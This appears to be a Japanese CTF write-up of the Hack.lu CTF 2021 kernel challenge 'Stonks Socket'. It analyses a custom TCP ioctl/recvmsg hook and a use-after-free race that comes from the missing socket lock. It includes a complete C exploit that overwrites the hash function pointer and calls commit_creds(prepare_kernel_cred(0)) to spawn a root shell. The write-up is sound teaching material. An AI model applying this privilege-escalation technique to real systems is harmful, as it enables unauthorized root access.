イントロ
最近はどうも気分が沈みがちで、そんな楽しくない日々を送っております。こんにちは、ニートです。 いつぞや開催されたHack.lu CTF 2021。その kernel 問題であるStonks Socketを解いていきます。しんどいときには破壊と切り捨てと放置と放棄が大事です。
overview / analysis
static
リシテア曰く:
lysithea-analysis.sh 1===============================
2Drothea v1.0.0
3[.] kernel version:
4 Linux version 5.11.0-38-generic (buildd@lgw01-amd64-041) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #1
5[!] mmap_min_addr is smaller than 4096: 65536
6[!] Oops doesn't mean panic.
7 you mignt be able to leak info by invoking crash.
8[!] SMEP is disabled.
9[!] SMAP is disabled.
10[!] unprivileged ebpf installation is enabled.
11[-] unprivileged userfaultfd is disabled.
12[?] KASLR seems enabled. Should turn off for debug purpose.
13[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
14Ingrid v1.0.0
15[.] userfaultfd is not disabled.
16[-] CONFIG_STRICT_DEVMEM is enabled.
17===============================
まず、SMEP/SMAP 無効で KASLR 有効なのは良い。ついでに Oops で leak できるのもいい(但し今回の問題は shell をくれるのではなくバイナリをアップロードして勝手に実行される形式だった。けど、その中でシェル開けばいいだけだから、なんでこの形式かはわからんかった)。問題は、userfaultfd
が、実装こそされているもののunprivileged_userfaultfd
が禁止されていると言っている。めんど。これは持論なんですが、どうせレースが解法で且つ相当巧妙なタイミング操作が問題の肝とかでも無い限り、uffd を殺すのは悪だと思っています。めんどいだけなので。まぁ、ソースを配布しているから全部許します。ソース無配布»»»»»»»深夜 2 時にどんちゃん騒ぎする上階のカス住人»»uffd 殺しの order で悪です。
module overview
TCP プロトコルソケットのioctl
実装をオレオレioctl
に置き換えている(厳密には、内部でsuper
しているため置き換えていると言うよりもプリフックしている)。
本モジュールはソケットからrecvmsg()
する際に、メッセージのハッシュをバッファ末尾に付与するというのがメイン機能になっている。その実現のため、recvmsg()
自体をカスタムのものに置き換えている。
1int stonks_ioctl(struct sock *sk, int cmd, unsigned long arg) {
2 int err;
3 u64 *sks = (u64*)sk;
4 ...
5 if (cmd == OPTION_CALL) {
6 ...
7 sk->sk_user_data = stonks_sk;
8 // replace `recvmsg` function with custom one
9 sk->sk_prot->recvmsg = stonks_rocket;
10 return err;
11 ...
こいつの実装はこんな感じで、内部で本来のtcp_recvmsg()
を呼びつつ、その後に独自のhash_function()
でハッシュを生成してメッセージバッファに入れている。わざわざ関数ポインタ使ってるね、怪しいね。一応建前はハッシュ関数を選択できるようにらしいけどね。うん。
ハッシュ関数はこんな感じ。ソケットに入ってきたメッセージを、ユーザが指定したlength
qword 毎に区切ってバッファに入れて、どんどん XOR していく簡単な実装。
お試しで以下のコードを実行すると、ちゃんと末尾にハッシュっぽいのが付与されているのが分かる。
test.c 1 // write to socket from client
2 write(csock, "ABCDEFG", 8);
3 option_arg_t option = {
4 .size = 0x4,
5 .rounds = 1,
6 .key = 0xdeadbeef,
7 .security = 1,
8 };
9 assert(ioctl(psock, OPTION_CALL, &option) == 0);
10 char bbuf[0x30] = {0};
11 recv(psock, bbuf, 0x30, 0);
12 puts("[.] received");
13 printf("%s\n", bbuf);
14 hexdump(bbuf, 0x30);
15}
vulns
まぁ全体的にバギーなプログラムではある。length
をいじることでsecure_hash()
でスタックが溢れるうえに、oops が panic ではないから敢えて oops させて leak させるのもできる。他にも適当にモンキーテストしてたら簡単にクラッシュするパスも見つかったが、大して使えそうにはなかったため忘れてしまった。
一番の問題は、struct sock
のロックを取っていないこと。本来の実装であるtcp_recvmsg()
では、内部関数を呼ぶ前にちゃんと ソケットのロックを取っている。
1int tcp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int nonblock,
2 int flags, int *addr_len)
3{
4 ...
5 lock_sock(sk);
6 ret = tcp_recvmsg_locked(sk, msg, len, nonblock, flags, &tss,
7 &cmsg_flags);
8 release_sock(sk);
9 ...
10}
11EXPORT_SYMBOL(tcp_recvmsg);
だが、本モジュールではあろうことかsk->sk_user_data
をスタックに積んでロックもとらず放置してしまっている。いわゆるパッチ問(この問題もフックをつけてるだけだからある種のパッチ問だと思う)においては、本来の実装と違うところがバグである。
このsk_user_data
には、先程言ったハッシュを生成するためのユーザ指定の情報(関数ポインタのみユーザ指定不可)が入っており、tcp_recvmsg()
後にスタックに積んだsk_user_data
から情報を取り出して使っている。このデータはioctl
でkfree
できるため、無事に UAF 完成。
race
さてさて、最初に書いたようにunprivileged_userfualtfd
が禁止されている。よって、結構シビアなレースをする必要が有る。最初はsendmsg
で任意サイズの spray をしようとしていたが、sendmsg
での spray、一回も成功したこと無くて断念した。これ、ほんとに使える???
こういう場合に安定なのは、モジュール内で実装されている関数・構造体をレースに使うこと。victim となる構造体はstruct StonksSocket
で、サイズは0x20
。
まず、クライアント 1(victim)のソケットを開いてioctl
してStonksSocket
を作る。次に、同一サーバに対してクライアント 2(attacker)のソケットを作り、同様にioctl
してStonksSocket
を作り、先にクソデカメッセージを送っておく。まだrecv
はしない。
ここでスレッドを他に 2 つ作る。receiver スレッドでは、起動と同時に victim のStonksSocket
を削除して、その後 attacker から永遠にrecv
し続ける。
1static void *receiver(void *arg) {
2 puts("[+] receiver thread started");
3 while(GO == 0);
4 ioctl(victim_sock_fd, OPTION_PUT, NULL);
5 while(1 == 1) {
6 recv(attacker_sock_fd, bigrcvbuf, BIGSIZE, 0);
7 }
8 return NULL;
9}
writer スレッドでは、一度だけ victim に対してwrite
をする。このデータはなんでもいい。
1static void *writer(void *arg) {
2 puts("[+] writer thread started");
3 usleep(1500 * 1000);
4 GO=1;
5 for (int ix = 0; ix != 30; ++ix) {
6 usleep(1);
7 }
8 write(victim_socket, bigbuf, 8);
9}
最後に、メインスレッドでは一度だけ victim からread
する。
これらがうまく噛み合って以下の順で起こると、レースが起こる:
- メインスレッドが victim から read する。
stonks_rocket()
内で、sk_user_data
ポインタをスタックに積む。読むのはクソデカバッファだから、tcp_recvmsg()
内でコンテキストスイッチする(しろ)。 - reader スレッドが victim の
StonksSocket
をkfree
する。これで victim のスタックに乗っているsk_user_data
はダングリング。 - reader スレッド内で attacker から
recv
することで、secure_hash
内の以下のパスで、victim がリリースした直後の 0x20 サイズのチャンク(StonksSocket
)がとられ、kUAF(overwrite)。
1 while (i) {
2 size = h->length * sizeof(u64);
3 buf = kmalloc(size, GFP_KERNEL);
4 i = copy_from_iter(buf, size, msg);
5 for (j = 0; j < i; j++) {
6 hash[j] ^= buf[j];
7 }
8 kfree(buf);
9 }
- writer スレッド内で victim に write することで、メインスレッドの
recv
の処理が続行する。このときには、3 によりsk_user_data->hash_function
関数ポインタが attacker により送られたメッセージの値で上書きされている。 - メインスレッド内の
recv
が、通常のtcp_recvmsg()
を終えて書き換えられたハッシュ関数を呼び出す。 - nirugiri
かなり調整がシビアで、writer スレッドとメインスレッドでスリープを挟んで微調整をしながら上手くいかないなぁと嘆いていたけど、クソデカバッファのサイズをクソデカからクソデカデカデカデカにしたら上手くいった。力こそ正義。
LPE
SMEP も SMAP も無効だから、RIP を取ればもう終わり。RIP が取れた時のスタックを眺めて、使えそうなシンボルをスタックから見繕ってcommit(kpc(0))
した。
exploit
exploit.c 1// for exploit.h, refer to https://github.com/smallkirby/lysithea
2
3#include "exploit.h"
4#include <sched.h>
5
6/*********** commands ******************/
7
8#define DEV_PATH "" // the path the device is placed
9#define u64 ulong
10typedef union {
11 // for OPTION_DEBUG
12 struct {
13 u64 off;
14 u64 *data;
15 };
16 // for OPTION_CALL
17 struct {
18 unsigned size;
19 u64 rounds;
20 u64 key;
21 u64 security;
22 };
23} option_arg_t;
24
25#define OPTION_CALL 0x1337
26#define OPTION_PUT 0x1338
27#define OPTION_DEBUG 0x1339
28
29/*********** constants ******************/
30
31#define PORT 49494
32#define BIGSIZE 0x80000
33int victim_sock_fd = -1, attacker_sock_fd = -1;
34int victim_socket, attacker_socket;
35char bigbuf[BIGSIZE] = {0};
36char bigrcvbuf[BIGSIZE] = {0};
37const option_arg_t call_option_security = {
38 .size = 0x4,
39 .rounds = 1,
40 .key = 0xdeadbeef,
41 .security = 1,
42};
43const option_arg_t call_option_empty = {
44 .size = 0x4,
45 .rounds = 1,
46 .key = 0xdeadbeef,
47 .security = 0,
48};
49int GO = 0;
50
51/****** (END constants) *****************/
52
53#define DIFF_PREPARE_KERNEL_CRED 0x38f4b
54#define DIFF_COMMIT_CREDS 0x3944b
55
56void nirugiri()
57{
58 asm(
59 "mov rax, [rsp+0x28]\n"
60 "sub rax, 0x38f4b\n"
61 "xor rdi, rdi\n"
62 "call rax\n"
63 "mov rdi, rax\n"
64 "mov rax, [rsp+0x28]\n"
65 "sub rax, 0x3944b\n"
66 "call rax\n"
67 //"mov rax, [0xaaa]\n" // PROBE
68 "leave\n"
69 "ret\n"
70 );
71}
72
73
74int listenat(int port) {
75 printf("[.] creating listening socket @ %d ...\n", port);
76 int sock = socket(AF_INET, SOCK_STREAM, 0);
77 assert(sock != -1);
78 struct sockaddr_in addr;
79 memset(&addr, 0, sizeof(addr));
80 addr.sin_family = AF_INET;
81 addr.sin_port = htons(port);
82 addr.sin_addr.s_addr = htonl(INADDR_ANY);
83 assert(bind(sock, (struct sockaddr*)&addr, sizeof(addr)) != -1);
84 assert(listen(sock, 999) == 0);
85
86 return sock;
87}
88
89int connectto(int port) {
90 puts("[.] creating client socket");
91 int csock = socket(AF_INET, SOCK_STREAM, 0);
92 assert(csock != -1);
93 struct sockaddr_in caddr;
94 memset(&caddr, 0, sizeof(caddr));
95 caddr.sin_family = AF_INET;
96 caddr.sin_port = htons(port);
97 caddr.sin_addr.s_addr = inet_addr("127.0.0.1");
98 assert(connect(csock, &caddr, sizeof(caddr)) == 0);
99
100 return csock;
101}
102
103static void *receiver(void *arg) {
104 puts("[+] receiver thread started");
105 while(GO == 0);
106 ioctl(victim_sock_fd, OPTION_PUT, NULL);
107 while(1 == 1) {
108 recv(attacker_sock_fd, bigrcvbuf, BIGSIZE, 0);
109 }
110 return NULL;
111}
112
113static void *writer(void *arg) {
114 puts("[+] writer thread started");
115 usleep(1500 * 1000);
116 GO=1;
117 for (int ix = 0; ix != 30; ++ix) {
118 usleep(1);
119 }
120 write(victim_socket, bigbuf, 8);
121}
122
123int main(int argc, char *argv[]) {
124 puts("[.] exploit started.");
125 printf("[+] nirugiri @ %p\n", nirugiri);
126
127 // create receiver socket
128 int server_socket = listenat(PORT);
129 struct sockaddr peer_addr;
130 unsigned len = sizeof(peer_addr);
131
132 // connect to the socket
133 puts("[+] requesting connection");
134 victim_socket = connectto(PORT);
135 attacker_socket = connectto(PORT);
136
137 // accept victim and set hash filter
138 puts("[+] accepting victim connection");
139 assert((victim_sock_fd = accept(server_socket, &peer_addr, &len)) != -1);
140 assert(ioctl(victim_sock_fd, OPTION_CALL, &call_option_empty) == 0);
141
142 // accept attacker connection and set evil hash filter
143 puts("[+] accepting attacker connection and setting hashes");
144 for (int ix = 0; ix != BIGSIZE / 8; ++ix) {
145 ((ulong*)bigbuf)[ix] = (ulong)nirugiri;
146 }
147 assert((attacker_sock_fd = accept(server_socket, &peer_addr, &len)) != -1);
148 assert(ioctl(attacker_sock_fd, OPTION_CALL, &call_option_security) == 0);
149 assert(write(attacker_socket, bigbuf, BIGSIZE) != -1);
150
151 /*** invoke race ***
152 * the main point is, operations is done in exact order below;
153 *
154 * 1. victim recv() start, which takes much time to read huge buf
155 * 2. attacker StonksSocket is put
156 * 3. attacker recv() is done, which means overwrite of victim Socket
157 * 4. end reading of victim buf, which leads to hash_function(), in this case nirugiri()
158 ***/
159 puts("[+] starting race...");
160 pthread_t receiver_thr, writer_thr;
161 pthread_create(&receiver_thr, NULL, receiver, NULL);
162 pthread_create(&writer_thr, NULL, writer, NULL);
163 for (int ix = 0; ix != 100; ++ix) {
164 usleep(50);
165 }
166 recv(victim_sock_fd, bigrcvbuf, 0x100, 0);
167
168 sleep(1);
169 if (getuid() != 0) {
170 puts("\n[FAIL] couldn't get root...");
171 exit(1);
172 } else {
173 puts("\n\n[SUCCESS] enjoy your root.");
174 system("/bin/sh");
175 }
176
177 // end of life (UNREACHABLE)
178 puts("[ ] END of life...");
179 sleep(9999);
180}
アウトロ
uffd 殺さなくても良かったんじゃないでしょうか。
早く大学 4 年が終わってほしみが深くてぴえん超えてぱおんです。風花雪月は 4 周目がそろそろ終わります。
参考
- kernelpwn: https://github.com/smallkirby/kernelpwn
- lysithea: https://github.com/smallkirby/lysithea
- ニルギリ: https://youtu.be/yvUvamhYPHw